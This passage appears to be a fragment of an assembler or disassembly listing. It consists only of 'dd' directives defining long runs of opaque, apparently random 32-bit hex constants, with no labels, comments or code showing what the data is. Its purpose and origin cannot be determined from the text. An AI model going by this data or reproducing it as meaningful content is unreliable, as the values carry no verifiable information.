96FE0686h, 5F1D584Ch, 510F72ACh dd 0C5E35BB5h, 91ED0F6h, 311680DDh, 571E5304h, 0C98B813h dd 0C375E168h, 8D8CA30Eh, 0CF2F8881h, 0B0BF0C82h, 65FC5214h dd 997F6BEh, 12E6D7A0h, 9D9BF8h, 0CD295E6Fh, 34AD9056h dd 8215DC98h, 0ECDDCE17h, 96F90A3h, 2BF054CBh, 0CEE9B981h dd 0BF1A808Eh, 17381684h, 46E70481h, 83797133h, 0FFB11CE1h dd 9E3C8254h, 0C1090B69h, 5D02FAEBh, 714316DDh, 16EDBB6Ah dd 1D7C5ED7h, 0AE39C9E6h, 0F602CC77h, 35B66722h, 925D74F9h dd 6575592Dh, 0C899891Ah, 0F1734474h, 0A36EEBF1h, 228A404Dh dd 1AF7FFC0h, 0F675EB47h, 0F8E35F4Ah, 8ABAE5E2h, 46E90C7Ch dd 7EC6C3C1h, 1DA5E658h, 877D3642h, 541B63CEh, 0EDB4B42Bh dd 2A0F5A14h, 7BAB18C9h, 1C8FEF7Fh, 0FB24CB01h, 8447C4Ch dd 0ADE927DFh, 0A855830Bh, 5E08F251h, 0CD5B1398h, 5C87C48h dd 0C78CE9FBh, 0BB10ACB9h, 0CA8101EAh, 238403EEh, 6F6BA32Eh dd 51E606E2h, 0FEC32E91h, 89E707F9h, 0C444D3DEh, 0EEFC4060h dd 4882AAE2h, 0CD4B80A0h, 95B86A4Bh, 0D7104495h, 71EC4ABBh dd 838175A6h, 0ACFA512Ah, 0CF192251h, 0EAC0E1B2h, 0E4CC8005h dd 5AD52488h, 0F7220C9Eh, 5F1EC2AFh, 0D0AFFC83h, 6CF2C4B6h dd 0AB0D00A9h, 0BF4D5C50h, 0B12425Ah, 0EAF9FAAh, 0EE129069h dd 3CBC4E2h, 0CBD36B58h, 3BA901ACh, 4FAD3DD1h, 0BEB7FB04h dd 0B0A345Ah, 679054DFh, 0F61024C9h, 285A2176h, 6E0FBE5Ah dd 0C315BB32h, 0DA222EF6h, 0B4DAD574h, 14EC040Dh, 0D12E6E98h dd 2FE8E90Bh, 0B83AF51Ch, 0D6F82E59h, 0C1B9A417h, 44728140h dd 0DD0FC2D4h, 6F192821h, 1D22D240h, 18C5CF5h, 8E2C14Ah dd 6C04E851h, 0F78CD3DDh, 256866A3h, 451858BEh, 88802963h dd 511AEEFDh, 6CC8785Ch, 800A4EC0h, 2D684692h, 6D92715Fh dd 0C60209E1h, 0FF09D3ACh, 59AD5320h, 0DCB80C03h, 0CD2F0DEEh dd 85875F0Eh, 0FE50D1E5h, 9E0C822Ah, 0C0462849h, 195B6ED8h dd 88316301h, 0F701E648h, 0AC6E93D0h, 0A31273C5h, 0DA00AE1Ch dd 0B5D461F3h, 2D60B7B4h, 23011225h, 1135442Ah, 8200801h dd 3F1591C7h, 0BEFD164Eh, 68121DCFh, 9430FEB5h, 0B2D2D3E9h dd 732A2545h, 0A7806F79h, 0B9635922h, 42402EF9h, 85830823h dd 2C29CE30h, 3569444Eh, 9D5F7E40h, 7025F168h, 0B0FDB95h dd 0A07E400Eh, 0C969887Ah, 5906BA02h, 0DBF87746h, 25FA0220h dd 98D55A66h, 2A6855B8h, 4FD76F25h, 7374FA18h, 0EC107AEDh dd 5DD54ED8h, 25189E0h, 0FD7305B9h, 0D9438131h, 0DDAC0D4Fh dd 0D22BA24Ah, 0B5B0F2FAh, 3742D8FFh, 3980A240h, 0EF9C60C7h dd 0FBF91781h, 1FE9E82Ch, 39F18006h, 288D25F6h, 0D916B35Fh dd 3F2CF40Ah, 0A90CDAA2h, 52512555h, 40766A75h, 9688CA3h dd 8957B3F9h, 4B46E482h, 0AFDE31F5h, 505D9C1h, 0AC7D14DDh dd 0CA329A97h, 0C9737C02h, 44881A5Fh, 3B4C1411h, 0C202AA9Bh dd 22647910h, 82217055h, 0AEF65508h, 0B1795D49h, 9928C171h dd 2BE34B86h, 0CA7AC601h, 0F389D0FDh, 9DA6F430h, 42A71BDBh dd 8798246h, 2890FC54h, 0E90980DDh, 0DE8B5FDh, 76BD5DEEh dd 0ACC94493h, 603A4947h, 0C07CAD4h, 1F2EC16h, 74F453E6h dd 44290BE9h, 0B795FE5Eh, 54043752h, 38E37DF6h, 0AFE11464h dd 30AC0712h, 0CD800789h, 164B1B9h, 3CF8315Bh, 2087A113h dd 9F26C9DBh, 40BF4D4Ah, 5918EFB6h, 5595E984h, 0BA5E9904h dd 4B95761h, 574F702Eh, 9670CAE9h, 52FCF69Dh, 42E90910h dd 42F2BC4Bh, 703344D3h, 0E478B88h, 69685BDFh, 897AD909h dd 9CD58F8Ah, 5EA39882h, 7D341320h, 0AF983F6Ch, 96765965h dd 0FD5F2584h, 44F102F4h, 0DF036F6Bh, 47F87A07h, 0FB2985B7h dd 68E7891Eh, 3E3CF13Ah, 4CA31652h, 14820C20h, 71592106h dd 7FE95819h, 0B92055D5h, 95AA7083h, 12259477h, 8D37D168h dd 2DF3F938h, 75309A7Ch, 0FE20B5E7h, 9609EC09h, 0EA6A7D7Bh dd 48D60F7Dh, 0E5612D98h, 8C00058Eh, 38923547h, 59AFA05Fh dd 0FBDA92C4h, 0BDBCA6DCh, 1C2712CCh, 3CF8F164h, 0FAB64112h dd 0B5682828h, 7C82F65Ch, 6A3A106Fh, 0E0797F03h, 21C663h dd 7891BF0Ah, 0DFF70BD3h, 81474F00h, 79077BCFh, 26E9245Fh dd 5403A45Eh, 0A0D258BDh, 0B7B7835Fh, 0D90E3C71h, 0B7CF6E53h dd 59378CEEh, 0C2C318CFh, 49BBE9DEh, 0AC495DA5h, 2527E46Ah dd 81B23248h, 463379E5h, 0F22DF47Fh, 0E3A6BE2Ch, 0FA807527h dd 0FBCDDFB8h, 0D7A6C295h, 13A26300h, 5E8199C3h, 0C548BD6Eh dd 9091AE39h, 9C20EB89h dd 42F78250h, 0CAE383FAh, 0FC93E35Eh, 0F7016603h, 0D20541CFh dd 0F829E044h, 0FD72DF6h, 453B509h, 0EF16C39Ch, 0EFB2C118h dd 0C5B1245h, 417BFE1h, 0A4E5DFFDh, 0FE4EB83Dh, 58B82CABh dd 714B08B0h, 73309F30h, 8A3B4AC9h, 50769AAh, 0F4EB0251h dd 4114493Ch, 1A8199Eh, 0FFBD29C7h, 41A7D031h, 5C252E5Eh dd 0ECEE500Ch, 1313BE80h, 0BA318832h, 6069B18h, 692427E9h dd 5FF92F22h, 702F0C64h, 0F6F9CEA2h, 66F996E2h, 0B528C4BFh dd 78B79D08h, 1F172D6Ah, 5056CC10h, 92FA683Dh, 0CF2D4F6Fh dd 7B87A23Bh, 0ADBDC54Bh, 7AFF0C60h, 0E9160B46h, 57902D4Dh dd 4C8816B4h, 5A121CE3h, 0C9B040F1h, 4EB73760h, 8C4F4490h dd 0A7C9F68Dh, 4E49A76Eh, 0E99238EAh, 0C997B6F8h, 0DFE2C170h dd 777FA880h, 0CC12926h, 67714090h, 1140FB2Ah, 539B3994h dd 1A42BD21h, 7082FE40h, 5E12312Eh, 60CDE317h, 2567D92h dd 5D41CA5Ah, 0E01BF9C1h, 4295313Dh, 7FA280EDh, 17796013h dd 0C77EE94Ah, 898CB082h, 40B53906h, 0B80188Bh, 0D079E97Dh dd 5F1D80D1h, 392CAD24h, 0CAC57F16h, 0B909BC5Eh, 0EA92DAE7h dd 3A5D817Dh, 0A83DC4B0h, 6E580B4h, 0F6F5860Bh, 8F9509D6h dd 0EC8841FAh, 622BE3E9h, 5BF753D4h, 597DC904h, 0D9700C7Dh dd 682FAC84h, 6995D6FEh, 0C77A0082h, 8D01E77Fh, 7CF4A19h dd 40B082B5h, 94793A64h, 3E85E53Fh, 0AB2A9BD1h, 285D43Dh dd 0B86AF6B1h, 781A175Ah, 5DECE7DDh, 75C2E112h, 68C1ACF1h dd 323E55FBh, 94D550F0h, 8A681362h, 9523ED6Ah, 232EC9A2h dd 0FFCB8149h, 434127E0h, 0C1DB40F7h, 0D8E69E05h, 91B6D931h dd 0C017D940h, 0AC06C68Bh, 0E09D593Ch, 0AC4CD317h, 5BD6F2C9h dd 3922D905h, 0E7D116ABh, 36F431FFh, 19883B11h, 323317E2h dd 3BC4FB5Ch, 584B081Dh, 0E44F71A1h, 0A43FFC5Dh, 444A3EECh dd 1D24366h, 7B9368FDh, 0ACA8938h, 0F78C428Eh, 921EF97Dh dd 1360A3C7h, 72296E16h, 8ED7ED2Ah, 5C277020h, 3D68D931h dd 0DF1C70Ch, 0C9D95D09h, 2F0DE6E9h, 4254AC23h, 39CD68E1h dd 3DC33E6Ch, 0BBE52352h, 9B029BA1h, 80F709B2h, 543DE7C7h dd 5DFA9516h, 19DC0882h, 97580FCCh, 0C4E58AD3h, 2DA0A7EFh dd 0E9C96831h, 3A4E417Ch, 2BE072A1h, 0C40996BBh, 5D5222C2h dd 0A6309FEEh, 5DEFDD82h, 0A0D3B047h, 13780B5h, 94BE2D17h dd 2F042AD1h, 0B5506EE0h, 4742EC09h, 6607D71h, 76F681Bh dd 0E9EED146h, 0A78E6AC1h, 0C1F65FCh, 1691E2Ch, 0B13732A4h dd 79CA29D4h, 0ADE91359h, 239BBAE3h, 0C66C6F6Eh, 5E7A754h dd 5300A9FCh, 7F5DB2BBh, 0F33A8161h, 0F8E8B48h, 0BCE05509h dd 0FB4A73F8h, 975AD8E0h, 775A257Eh, 0CF3824F1h, 821827AFh dd 98D743B6h, 825245EEh, 625FAF6Ah, 9DC05D3Dh, 182D280Ch dd 0BDA4D823h, 269FDD9h, 77AF6C88h, 68136CECh, 39300B42h dd 32E9F488h, 0E589ADDFh, 200FD057h, 3BEDCD4Ch, 5CB07EE9h dd 4F4F7868h, 6747068Ch, 72E151BEh, 247D0705h, 22B89A31h dd 8D7CBE5Eh, 85025BE9h, 0E8A4FA54h, 0B22A985Fh, 4E7B9D2Eh dd 260DD027h, 8E7228DCh, 0BA1721C2h, 0F25E5FCEh, 6AFCD2B5h dd 64FE2DC0h, 0E1B818D6h, 2F070551h, 0B95F5CBCh, 9B05C186h dd 826F0B14h, 7812DD7h, 7E6B0AE9h, 0CFCD8CDDh, 7ED6C2D6h dd 302F0021h, 0C7E9151Ch, 0A87FB041h, 7066783h, 20EBBDC5h dd 0A550A31Fh, 3AEE417Bh, 0C814EDB2h, 2F8F1A67h, 9A30968h dd 0DAD37F6Fh, 0ED1EFF4Bh, 0C040FE90h, 69FD7230h, 7A7508EFh dd 23EEB7A1h, 294F687Ah, 728863CCh, 9DC758E8h, 0E4972F20h dd 4876F412h, 0BAD0EB69h, 0A2600F01h, 78E7C13Ah, 18E32FC5h dd 0B5EE0546h, 60DCB8C8h, 5E736A16h, 4AA19AE0h, 763440BEh dd 0C161F93Bh, 2D04E001h, 66B36DE3h, 0E909F76Ch, 0EA66E184h dd 0E08A5AB0h, 82564687h, 5700B8A8h, 82397568h, 2AE4D41h dd 0D4D24829h, 8927DFACh, 0B07F36E1h, 0B0F52963h, 0BB3E40B6h dd 17541D00h, 7650BA24h, 4F487FE1h, 0BE4E5BFh, 0C2E54AD2h dd 94FA527Ah, 49A71264h, 0BF3B5D5Eh, 0F1D32E29h, 32F5CA5h dd 54D274DBh, 3A95FFF9h, 0DE5376C8h, 0F52DB712h, 8785F194h dd 804FB136h, 0C1FE56A0h, 5E13BC0h, 87C39FA4h, 0F35AF428h dd 50762375h, 39BC4B98h, 0F181D9C0h, 6FFF161Ah, 4AE0BCCEh dd 0BF970BADh, 6050739Ch, 0A5BE60F4h, 6F02D66Bh, 55A0CE81h dd 0EB805F38h, 74F714F3h, 0AC20295Fh, 973C8675h, 1F3E51Bh dd 0DDB0EEF0h, 0B7CA02Fh, 0B5F4048Bh, 55685001h, 0FCEB5126h dd 0DF0968C1h, 0D46EA089h, 0E0E96234h, 133F637Ch, 4D617138h dd 99761ADCh, 0A12CFC5Eh, 0C2FDE950h, 0D354081h, 7BF6D3CDh dd 0FBB39E0h, 48D24541h, 86A1FB0Ah, 9D4B6E68h, 21E86D2Dh dd 653FDF0Dh, 0D96191F9h, 1AE3587Fh, 0A72F25E6h, 204E503Ch dd 0B82F501h, 0D55A2274h, 0E905F945h, 3CBBADEBh, 0C0636964h dd 17EE8070h, 29BCE06h, 2062B594h, 75A309DDh, 8BACAED9h dd 0B8027510h, 21525B28h, 0D2C07941h, 126C8107h, 342D4FE0h dd 0A0A8BA14h, 9022AAC9h, 0FEE1F901h, 0F63D8186h, 7DD5410Fh dd 121A2A20h, 0EE48604Bh, 67BCBE91h, 0DE17E9BBh, 135EF9E4h dd 9708934Bh, 0D82900C3h, 0EC317B2Dh, 0CC2A6764h, 383C9CFDh dd 0BBBFA917h, 0CD1AEF21h, 4DBB500h, 0E83A1170h, 0B675E2Ch dd 0A7E9D800h, 8E3934Ch, 4813279Ch, 2E5701FFh, 0F461265Eh dd 55A1D52Fh, 38F12B6Fh, 7B8BF32Bh, 5C97E2Ch, 8516C096h dd 923E82BCh, 0AA9DD192h, 9A76EEB2h, 6B37946Ch, 88565FFh dd 102DE06Ch, 80816641h, 8737D329h, 69CED5DAh, 286BA8EAh dd 86F7890Fh, 9442F809h, 0DB646FCDh, 5024A27Ah, 0FE97EA7Ch dd 0FADAF084h, 188C59Dh, 481995C7h, 4143130h, 5D080988h dd 209944D5h, 4790B3CEh, 79BC220h, 19626FBAh, 0F2ABA26Bh dd 6CAD22F5h, 5C9798DEh, 0B8D5A028h, 0E8FBC360h, 78F8055Dh dd 2D0754C5h, 0F621E7Ch, 9FD55657h, 5D8E6C1h, 4FE90743h dd 2D0390E6h, 0B7A3872h, 341D6816h, 0DBB88460h, 5DA4263Eh dd 32D02525h, 0E9995395h, 0D4B7D802h, 5B895C57h, 2ACF5FF1h dd 13EF818Ch, 52A2A1DAh, 3044F1B5h, 13A4E775h, 0CE24167Bh dd 3F03BF23h, 2F79557Eh, 0EDA3D74Ch, 89F2CF88h, 0F3218168h dd 0E559AEEEh, 7D523F38h, 2CABEE5Bh, 0BA5BC5B8h, 1F6AABCCh dd 491FCB7Dh, 395DC611h, 0B2B19A6h, 0C77F553Ch, 4204A43Bh dd 0E15CD856h, 25515570h, 0BDF595Dh, 662CDC82h, 5C802E83h dd 71BFC1A5h, 86152BAh, 0C8C79DEAh, 52B2F3D2h, 9EE3BF1Eh dd 6A06CA66h, 0EAC294FDh, 0EB4FA230h, 673E4738h, 51FAF621h dd 0DB475E4Bh, 40B2C9F7h, 4F31E052h, 0B4508002h, 0C8348578h dd 0EB9E9Bh, 84BA52F5h, 0D65B33F4h, 0AD257B9h, 2665B15h dd 941D2BE1h, 7CE03AC3h, 3958F016h, 208239BEh, 31CD7DA3h dd 0C1A59F4Dh, 0B7CBCC98h, 0C16E2D4h, 0A68F56F8h, 5731035Eh dd 0EA68E920h, 64F9174h, 9AC535A4h, 73BE9A51h, 12C82F4Ah dd 0E9C92775h, 0C57CC80Bh, 92191798h, 23EE0720h, 8836742Ah dd 0BBB4AD4Dh, 4FBBBD02h, 241760AFh, 8CF39D03h, 3031E9C1h dd 34C58000h, 70B6523Ah, 795AF538h, 53F8EDF6h, 6664B77Eh dd 0ACB40B54h, 0A6459FF2h, 4AE50F95h, 0E87BDBB3h, 0D3F780BFh dd 2D8FD49Fh, 680B1372h, 0E2C26E74h, 882776AEh, 916C50Fh dd 273FF0F8h, 5FF9CDE3h dd 31CD84DDh, 47D601F3h, 0C415C3F2h, 0CEA03012h, 0E9E42BF8h dd 4E0684FFh, 0FA5FB0B2h, 0BFBDD413h, 0D628E909h, 4EF589A9h dd 0B38BF1Dh, 8482485Ch, 0BB0105C6h, 6FEE5DF5h, 3B4FA7D0h dd 0B1955A77h, 0EE982F90h, 0D72E17C5h, 0D1D20779h, 0E912D371h dd 2902919Dh, 642A71EEh, 43B75B1Ch, 0FA2F88DEh, 4A8AFA17h dd 0B02DBBA5h, 819F3820h, 0B6762043h, 5B2E02BFh, 834F5D50h dd 2F4374A4h, 5F40C215h, 0E0444A63h, 0A3A8FF9Bh, 0DEEDB5E6h dd 0C9D75375h, 0BB56555h, 507863E9h, 75806804h, 12EE23B9h dd 5A71AC4Ch, 0C493BDE2h, 9E2BF02Ch, 82E9725Ch, 40AE0845h dd 125FC9D7h, 1619728h, 2C2F1A96h, 0BBBD7A1Ch, 0E87EF194h dd 1F7648C5h, 2B0C9905h, 521FAFD0h, 0D2AD929Dh, 60D75A87h dd 1C78006h, 84FA534Bh, 3789C139h, 0B0BD00C8h, 7C771438h dd 2C7DA7C1h, 84FCE22Dh, 0C19E07D8h, 8EDD9759h, 0B2F7802Eh dd 2F53AE05h, 9501D888h, 3220BC64h, 57E91B75h, 9FB1EF45h dd 5B36D74h, 376D77B3h, 0EC40C2BCh, 39D10968h, 1BF87A3Bh dd 47C91909h, 125EFCFCh, 0B8EEA071h, 375B533Eh, 2F487E07h dd 0EC0970D0h, 803C200Ch, 543D757Dh, 8418DD3Eh, 0ABBF6BEEh dd 0DD680870h, 957B327h, 24F975DCh, 8129E680h, 1260BE7Bh dd 0A0F04B7Fh, 0AD6058D9h, 0C734C3F7h, 0F58F7B0Fh, 0FEF8126Eh dd 4A15DD68h, 0D0EBA9C2h, 0C1FD3EA3h, 927EAD2Eh, 0CE10E2EDh dd 0C8B6177Ch, 28D107FBh, 1964C2F5h, 6809F7E5h, 0E9752179h dd 0C53C6612h, 0ABD3E7C4h, 0B9BA0E24h, 24E24B7Eh, 6FCF9D5Ah dd 74770200h, 9BE6ADEh, 792F8BCCh, 0A050BF63h, 0AE39BB29h dd 0B9F134E8h, 0C8F113C4h, 0C4CCE33Bh, 0B8129173h, 0BC5C18EEh dd 88492FBDh, 0A7A8FCFBh, 8C1245F1h, 16EFC6DDh, 5D2EFC22h dd 81F61050h, 0E688520Eh, 0F552F34Ch, 4FF7C140h, 0B58D91D5h dd 0D7158089h, 4A68FD87h, 646FC413h, 1E921EDCh, 826789EEh dd 0E40257FEh, 1326785Eh, 0E9B2BCE9h, 0E58010F0h, 0F079B57Fh dd 964E13BEh, 0B6E773E8h, 0C34CD9ACh, 491516B9h, 3DB82A01h dd 0F37F0E6Dh, 0E93E61C2h, 6130F418h, 7E8241A2h, 417458E2h dd 8A563BD7h, 0B0563804h, 285BE00h, 58F25905h, 7FC81A9Fh dd 4E30BD81h, 0EE7F706Eh, 4A4FE277h, 6642DDA4h, 8EF3B187h dd 5F6A4A95h, 0C3178BFBh, 84DB8DC7h, 0CCAF4E15h, 644BB5F9h dd 0F53C81AEh, 0AD6600Bh, 59EA881Eh, 0D0FBC257h, 0CDE9199Ah dd 8949A24Ah, 47058087h, 0B0400A2Ch, 0ECB1318Ch, 0DCF028E6h dd 0A0B78ADBh, 0A00DFE95h, 0CA010A7Ch, 3F08BD55h, 2FDBC202h dd 28FF5E22h, 5E25084Ah, 6A30113Eh, 4C0360D2h, 0CC2CE55Ch dd 1D04609h, 1447D295h, 0D4981529h, 0FF78137Bh, 438EAB71h dd 0F6020317h, 8A09176Ah, 0D9C01EE8h, 0EE30A6B6h, 61A2E7B5h dd 24738D68h, 0FF41052Eh, 1BC09A87h, 4EAA1C4Bh, 6496A0CFh dd 5BC4057h, 0B105184Ch, 844D9A79h, 18888412h, 10690C08h dd 0C57D5D27h, 0BC680903h, 0E5DCEEA9h, 17BB38ECh, 0D42E4653h dd 5E0809EEh, 7DA0CC55h, 17E91559h, 52182644h, 0ADF31655h dd 0EA822694h, 61BE63AAh, 447AC2B9h, 0C2FA0182h, 73D5E6FEh dd 0BAF4A691h, 35585908h, 0D6DAE125h, 3220CBF0h, 5A85D131h dd 29CA23E0h, 0F324E3B3h, 28589A40h, 0D0F7166Ch, 765F0056h dd 0E940DF3Fh, 59987925h, 467D6908h, 5AD72F23h, 459F1A93h dd 2BA7EB51h, 0DB77E909h, 0C3DDE87Dh, 5BCAB5DDh, 0A69B4075h dd 7E902677h, 759610D5h, 348EDE30h, 18E0D35Ch, 1B37F668h dd 4381C6A0h, 0F0F22030h, 0BEAE4F15h, 9917AB1Dh, 2AFFD9BFh dd 53D0DE13h, 9D5F33E9h, 0D8DA913Bh, 0F581895Dh, 77A71CE5h dd 8E91B8A2h, 54793F66h, 483364Eh, 64C1FA5Eh, 7068EA23h dd 78B2BF74h, 576D075Fh, 0AE7CAAE0h, 0A55F4A42h, 3A6E25B2h dd 9F58580Dh, 763C7BE5h, 28A1AE40h, 0FAEB834Dh, 2F44B785h dd 860EEA05h, 0D382D07Ch, 0CA67A9Fh, 6F21408Eh, 304790Ch dd 0FE94AEBh, 0E7BE4095h, 99BF4B96h, 8EBB60E3h, 0C9D9FC9Fh dd 4D9DD955h, 84682C0Ch, 96E08CE9h, 230D0540h, 876F508h dd 0DC27D3BDh, 80FD03C0h, 0A7E115EDh, 672EA495h, 800F5909h dd 74B22D6Eh, 283D76E1h, 20705E8h, 52C5355Dh, 7BFF3B75h dd 5060253Dh, 7103BE56h, 294BA463h, 0BFC620F3h, 81A65C5Ah dd 6B7E3B10h, 0EE2B7578h, 75A26A70h, 60006ADDh, 4B744707h dd 9905EBF2h, 0C1C9A2B5h, 2533B8ECh, 59DC58C5h, 50089002h dd 1CFE55E7h, 350475B9h, 26A0741Fh, 5277C0EFh, 2A5BEEE9h dd 2E4195C9h, 0A9BF8D63h, 46CB1093h, 0B9595B13h, 2C51DDF6h dd 45A52A59h, 2BD0A17Fh, 538B2BECh, 7FCBCDD6h, 0EA7DCC2Bh dd 0B27800Bh, 0F6348D52h, 0E3EF4EF4h, 41EA0358h, 4196E13h dd 0A7E7928h, 4FD6872Ah, 873FFF61h, 315C20F9h, 8BCFC9E9h dd 0A0E98308h, 0B2F2B35Dh, 0B66827ABh, 0DCAD98F7h, 209F2815h dd 3F980395h, 0CA29097Ch, 59087440h, 68136DB0h, 0C56048EEh dd 0C0703729h, 22F5F688h, 38C10AEFh, 61CD0B80h, 0F3314E61h dd 7E1C0806h, 49ED3FCAh, 474FA34h, 0BA5E5F08h, 6029BF28h dd 1D3E36C2h, 681341B8h, 0D8A375C5h, 32508C42h, 170F0385h dd 0D6F74E23h, 0B10B989Eh, 0F7EA348Ah, 6C48E441h, 63BB3488h dd 18B796E0h, 0C7A2213h, 45254946h, 0F8C9D803h, 7422540h dd 0DCDEE2FFh, 0CB01C22Ah, 130DA1E2h, 0C20060Ch, 88512C80h dd 0B5CC172h, 0F31C2D60h, 0E0FEAD33h, 0DCB03B93h, 0FC0B9D5Dh dd 26E3E575h, 64BE0B59h, 0ADA0D668h, 1FD7D083h, 3160055Eh dd 0FD3C8BFEh, 0E6B6B473h, 263DE010h, 77179959h, 0D3B71AACh dd 1A5BD96Ch, 6220A5F1h, 0E42D0413h, 80DF293Fh, 965EDC72h dd 0E94B6205h, 0A7AFF7A3h, 0DFFC6B5Dh, 6525836Dh, 0A9E98450h dd 904CFF27h, 0E9306D1h, 1B65266h, 5A07BB1Eh, 0E16BB753h dd 9C503EE7h, 5CD6E971h, 0D3D761AEh, 0D0D93B1Bh, 0B53279E8h dd 387F4B19h, 3C8C48A1h, 0AE2C3980h, 0CF1ED7EFh, 76CC71Dh dd 0BC2B5D49h, 98D84C5Dh, 0B35E5F9Eh, 647A13FEh, 5F1628BFh dd 4E5BEAFAh, 8AAFC565h, 62792D49h, 53E0D70Dh, 801F36B5h dd 825790CDh, 0E0688CA1h, 2592BFF0h, 29710509h, 5882DEFAh dd 76BD8AF0h, 93BC4D1Bh, 84BF5813h, 197CBEA9h, 0CE6B76Ah dd 0D3BF499Ah, 92E96185h, 0AE323A43h, 0D38018C5h, 27AB80D7h dd 984DA33Ch, 9EFF144Ah, 702E253Dh, 0CA565289h, 94FE4FCAh dd 0C700B35Bh, 795A6F22h, 69FED701h, 5B3B424Dh, 0E3246FE9h dd 8B058104h, 6B73794Dh, 670164E6h, 16B3012h, 0BC8C6B44h dd 316041FFh, 0B4A22ACAh, 2CABEF29h, 25624AFEh, 6C2833C5h dd 0F4887912h, 67B727B8h, 1EC30BDh, 504B5368h, 0BFA554B9h dd 0A42D51DCh, 9F8F98ABh, 0DA09EF7Bh, 0D54232B7h, 229338F1h dd 0CE7A95B1h, 64FE4F46h, 0EDB9BB94h, 0D3CA4885h, 0EBBFF18Eh dd 0BA042ED8h, 0FBD1CCAEh, 3F842B80h, 1532C92h, 0B708A03Eh dd 229D1264h, 0F79A6599h, 6615F771h, 25563FDBh, 205ACCA1h dd 81016218h, 0F148EFEDh, 1A680142h, 0E8D71B17h, 0D964A15Dh dd 90FA9254h, 0D2501C5Bh, 0C2AB074Bh, 79DF5983h, 837492E6h dd 1FA8055Fh, 0E5983BAFh, 0FFAC8C98h, 0BD9FF120h, 7A124754h dd 0CF21A080h, 0B8500E59h, 6CA01146h, 0FF5E7005h, 0E8836A17h dd 0F42E260Bh, 7A9E40A7h, 294831F8h, 28321059h, 68515B09h dd 4526FCC4h, 135B0A2Dh dd 0C5C3310Ch, 4CECA983h, 2B4F0273h, 63E943A3h, 0BE2E1EEEh dd 49C90175h, 36487468h, 116F1346h, 148122ABh, 0AC12BFFCh dd 20ABC4B0h, 2C26E828h, 9D45C4F5h, 5E3E0h, 0FA152FDh dd 7AB48F35h, 2309F7Fh, 0DDF1B1DAh, 58D50B36h, 6F05CB89h dd 1338AD7Dh, 75AE4757h, 0B89E2867h, 2E2FB95Ch, 151CC975h dd 0D427D40Bh, 0EEE0906h, 25D3407Dh, 0FA4E01D2h, 8863531h dd 749C4138h, 95CE6AC2h, 30A7573Fh, 52AC5360h, 1A225148h dd 5E120E16h, 2892614h, 4FDBC2F9h, 7B8F855Fh, 0B70F4F8h dd 49AB68D8h, 0C55F3330h, 82821E94h, 7776D26Eh, 2FB43EC8h dd 0BA213137h, 61B57B51h, 89508528h, 0E0C3A2C3h, 0B83F2D48h dd 977752Bh, 5C537E48h, 7430855h, 5B11D03Ah, 5604872Dh dd 86E96255h, 0BB0071FEh, 606718E1h, 0E5F33481h, 51B1EA0Dh dd 0C9BAE22Eh, 0BD7A5842h, 564E8214h, 2FBF8FBEh, 0AAFC105Ch dd 64C88863h, 9C25882h, 51AC2587h, 599805Fh, 0A373882h dd 2DC8293Bh, 0E9493007h, 1295ECF5h, 89ED84CAh, 99E1DF8h dd 9A5FD487h, 0C8D3D7A0h, 0E9F061A4h, 0E6115AFDh, 38E982A0h dd 0BD0966C3h, 0F9EB3468h, 4DB16880h, 358B4B4Fh, 8B7CD929h dd 0C915D1CFh, 5D258519h, 0FD7199DDh, 5B12AA2Eh, 3C59BE2h dd 81FE99B8h, 36C7BA50h, 5C6E5549h, 0F705C7BEh, 4A6099DAh dd 7F006314h, 825E23BDh, 0B224E9A6h, 38B20FCCh, 0E82ECA28h dd 4174129Ah, 2515C62Fh, 0A5C5B53Bh, 9AD1770Bh, 7471FFFDh dd 68520973h, 0E7184E6Eh, 0BAF45551h, 6091698h, 0ABB6F8E9h dd 7B9ED778h, 8385EE4Eh, 0B7024A28h, 0C668E0D9h, 0BAA31813h dd 34AFB34Eh, 0BEEDFD9h, 9E965B67h, 1C470916h, 498668FDh dd 5897FE86h, 706CFF4h, 0E978D569h, 78AE7CB7h, 5D828B9Ch dd 2D11C622h, 0EE62C3D6h, 0E6A60E2Ch, 0F24B3576h, 8DEEE284h dd 40A82EE5h, 0B16F82B5h, 97983F66h, 3CE74155h, 0CB2AADFDh dd 0C6F1467h, 76A50718h, 0CAB33AD5h, 0F83D0B6Ah, 0E6D7CE04h dd 0BD5B2447h, 880B6F53h, 0B0389658h, 6A35C73h, 8A586602h dd 146816A6h, 9961BD29h, 0A4362214h, 33C11010h, 2E801028h dd 1007359Eh, 595F0575h, 7582DFF7h, 9424601h, 386A1BA2h dd 8F728D5h, 93E95902h, 0B42277A3h, 88045DCDh, 772C47C0h dd 52C80F28h, 5EE4A3B2h, 7B63B7C5h, 11707624h, 790FCA5h dd 4256C8F1h, 0DE795165h, 581956AFh, 5FFA1EEAh, 3268790Ch dd 4ED95310h, 0F072EECCh, 9FBFD0DDh, 1F27D970h, 0C9AC9B90h dd 8C3F6ECBh, 26619992h, 5A66D33Dh, 3980C3C0h, 5BF509EBh dd 96B0B03Eh, 0CFF8234Eh, 91C17AC4h, 6E08E76Ah, 0A4CE7CD0h dd 0BABF4ECCh, 3113C506h, 38F105C3h, 0C520D748h, 0F00823C2h dd 2817C6B9h, 8668C234h, 332FEC74h, 0CF312BE4h, 3930F6B9h dd 41B0277Bh, 892F5AA2h, 83BBECE4h, 0D85922CBh, 7E2117BBh dd 0B8DB00D9h, 9397F83Ch, 9B41ECB8h, 88C1527Ch, 0E48059CCh dd 20F9FE68h, 6FE19447h, 0ABB43DA8h, 52A2F6F8h, 42A07375h dd 0F7DEAFAAh, 0E2FBB864h, 852D78A2h, 0A0A8FF8Dh, 0CEC70BA1h dd 0C6093A1h, 0E1D7CB1h, 0A4792DE8h, 3CE87426h, 5D09F7A6h dd 0F01BF978h, 0B4251349h, 165CAC18h, 5F29442Ah, 6F66EDh dd 1239BB59h, 0FBB03B50h, 0BE596402h, 69FEE973h, 0F2700163h dd 41B741F4h, 83C37287h, 62C6EA51h, 0AECC12B5h, 4F33882Ch dd 2FAD14Dh, 0EDF1770Eh, 0C3EC7551h, 0F16D0A27h, 54A042F4h dd 0BADD0103h, 5A1D48B4h, 0A1E2768h, 4965FC98h, 0C1ECAE5Eh dd 44332A04h, 50C2AE08h, 3189F719h, 42077355h, 5B7DF9ECh dd 5580CF0h, 2D02F87Dh, 4B0E7629h, 2C86FC5Fh, 0C27313F7h dd 258B5C69h, 0C195F37Ah, 8004453Ch, 0FA38E733h, 0CC89132Fh dd 0F2811BFAh, 505F1DE3h, 0D5495D0Bh, 3F7F14C1h, 0DD253300h dd 0F6113734h, 7539772Dh, 0C1FA014Dh, 0C701A0EFh, 0E5B37A58h dd 962D2394h, 